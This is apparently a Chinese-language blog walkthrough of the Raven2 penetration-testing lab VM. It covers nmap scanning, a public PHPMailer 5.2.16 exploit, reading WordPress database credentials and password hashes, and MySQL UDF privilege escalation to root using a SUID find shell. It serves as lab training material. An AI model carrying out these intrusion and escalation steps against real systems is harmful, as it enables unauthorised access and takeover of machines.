【第3个渗透靶机项目】Raven2

0x00  信息搜集

先用工具将靶机位置找到,然后再nmap仔细探测一下

┌──(root㉿Breeze)-[/home/breeze/Desktop/100/1]
└─# nmap 10.10.10.136 -sS -sV -A -T4
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-17 10:05 CST
Nmap scan report for 10.10.10.136
Host is up (0.00046s latency).
Not shown: 997 closed tcp ports (reset)
PORT    STATE SERVICE VERSION
22/tcp  open  ssh     OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)
| ssh-hostkey: 
|   1024 26:81:c1:f3:5e:01:ef:93:49:3d:91:1e:ae:8b:3c:fc (DSA)
|   2048 31:58:01:19:4d:a2:80:a6:b9:0d:40:98:1c:97:aa:53 (RSA)
|   256 1f:77:31:19:de:b0:e1:6d:ca:77:07:76:84:d3:a9:a0 (ECDSA)
|_  256 0e:85:71:a8:a2:c3:08:69:9c:91:c0:3f:84:18:df:ae (ED25519)
80/tcp  open  http    Apache httpd 2.4.10 ((Debian))
|_http-title: Raven Security
|_http-server-header: Apache/2.4.10 (Debian)
111/tcp open  rpcbind 2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100024  1          40268/udp   status
|   100024  1          40665/tcp   status
|   100024  1          42688/tcp6  status
|_  100024  1          49152/udp6  status
MAC Address: 00:0C:29:57:62:33 (VMware)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.46 ms 10.10.10.136

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.52 seconds
                                                                

只开了三个端口。

22端口没有什么信息,我们看一下80端口。

一个普通的web界面,登陆和注册也点不动。

我们用dirb进行一下目录扫描吧。

他说这个目录是可枚举的,那我们直接访问就行了。

在这里发现一个flag。

我们读readme文件可以看到有效信息。PHPMailer

继续读version可以读到PHPMailer的版本

总结得到 PHPMailer 5.2.16·   我们直接去搜索对应的exp

第一条就是,https://www.exploit-db.com/exploits/40974

我们直接下载

 

查看一下本机的网卡地址是10.10.10.128

按照自己更改这四个位置,然后在本机建立监听。

运行成功,我们直接访问contact.php

然后再访问那个后台文件成功回显。

进入到目标主机,用这条命令找flag

www-data@Raven:/var/www/html$ find / -name flag* 2>/dev/null 

有个flag.txt可以直接访问。

/var/www/html/wordpress/wp-content/uploads/2018/11/flag3.png

还有个图片,直接访问就行了。

直接查看这个文件。获得数据库密码和账号。

/** MySQL database username */
define('DB_USER', 'root');

/** MySQL database password */
define('DB_PASSWORD', 'R@v3nSecurity');

ps aux | grep root     在这里找到mysql的进程信息。发现是用root权限执行的。

dpkg -l | grep mysql

在这里看mysql的安装信息

既然知道了账号和密码,我们直接登陆mysql。

mysql -uroot -pR@v3nSecurity 

加下来看看它的数据库信息

mysql> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| mysql              |
| performance_schema |
| wordpress          |
+--------------------+

直接进入wordpress数据库

mysql> show tables;
+-----------------------+
| Tables_in_wordpress   |
+-----------------------+
| wp_commentmeta        |
| wp_comments           |
| wp_links              |
| wp_options            |
| wp_postmeta           |
| wp_posts              |
| wp_term_relationships |
| wp_term_taxonomy      |
| wp_termmeta           |
| wp_terms              |
| wp_usermeta           |
| wp_users              |
+-----------------------+

继续查看一下user表的信息

| ID | user_login | user_pass                          | user_nicename | user_email        | user_url | user_registered     | user_activation_key | user_status | display_name   |
+----+------------+------------------------------------+---------------+-------------------+----------+---------------------+---------------------+-------------+----------------+
|  1 | michael    | $P$BjRvZQ.VQcGZlDeiKToCQd.cPw5XCe0 | michael       | michael@raven.org |          | 2018-08-12 22:49:12 |                     |           0 | michael        |
|  2 | steven     | $P$B6X3H3ykawf2oHuPsbjQiih5iJXqad. | steven        | steven@raven.org  |          | 2018-08-12 23:31:16 |                     |           0 | Steven Seagull |
+----+------------+------------------------------------+---------------+-------------------+----------+------

得到两个用户名和加密后的密码

michael   | $P$BjRvZQ.VQcGZlDeiKToCQd.cPw5XCe0 | michael
steven     | $P$B6X3H3ykawf2oHuPsbjQiih5iJXqad. | steven    

show global variables like 'secure%';查看是否有写入权限

写入条件为空,满足条件可以进行提权

如果是 MySQL >= 5.1 的版本,必须把 UDF 的动态链接库文件放置于 MySQL 安装目录下的 lib\plugin 文件夹下文件夹下才能创建自定义函数。

我们的版本是5.5,6。版本大于5.1。此时我们要查看插件的位置

mysql> show variables like '%plugin%';
+---------------+------------------------+
| Variable_name | Value                  |
+---------------+------------------------+
| plugin_dir    | /usr/lib/mysql/plugin/ |
+---------------+------------------------+
1 row in set (0.00 sec)

我们找到了插件文件夹的位置是/usr/lib/mysql/plugin/

另外一个条件是要能远程登陆,我们用这个命令来看一下是否可以

use mysql;

select user,host from user;

发现这里root用户不允许远程登陆,因此不能利用MSF提权。

利用CVE漏洞

 searchsploit udf

寻找对应的版本的mysql udf提权漏洞

gcc -g -c 1518.c   ---GCC编译.o文件
gcc -g -shared -o dayu.so 1518.o -lc
  -g 生成调试信息
  -c 编译(二进制)
  -shared:创建一个动态链接库,输入文件可以是源文件、汇编文件或者目标文件。
  -o:执行命令后的文件名
  -lc:-l 库 c库名

本机开启htt服务,靶机下载编译后的文件

进入数据库创建数据表ice:
create table ice(line blob);
插入数据文件:
insert into ice values(load_file('/tmp/ice.so'));

dayu表成功插入二进制数据,然后利用dumpfile函数把文件导出,outfile 多行导出,dumpfile一行导出
outfile会有特殊的转换,而dumpfile是原数据导出!
新建存储函数:
select * from ice  into dumpfile '/usr/lib/mysql/plugin/ice.so';

创建自定义函数do_system,类型是integer,别名(soname)文件名字,然后查询函数是否创建成功:
create function do_system returns integer soname 'ice.so';

select * from mysql.func 查看函数是否创建成功  

调用do_system函数来给find命令所有者的suid权限,使其可以执行root命令:
select do_system('chmod u+s /usr/bin/find');

find / -exec "/bin/sh" \;
用id发现直接就是root权限

 

 
posted @ 2024-04-17 20:43  AllFalls  阅读(27)  评论(0编辑  收藏  举报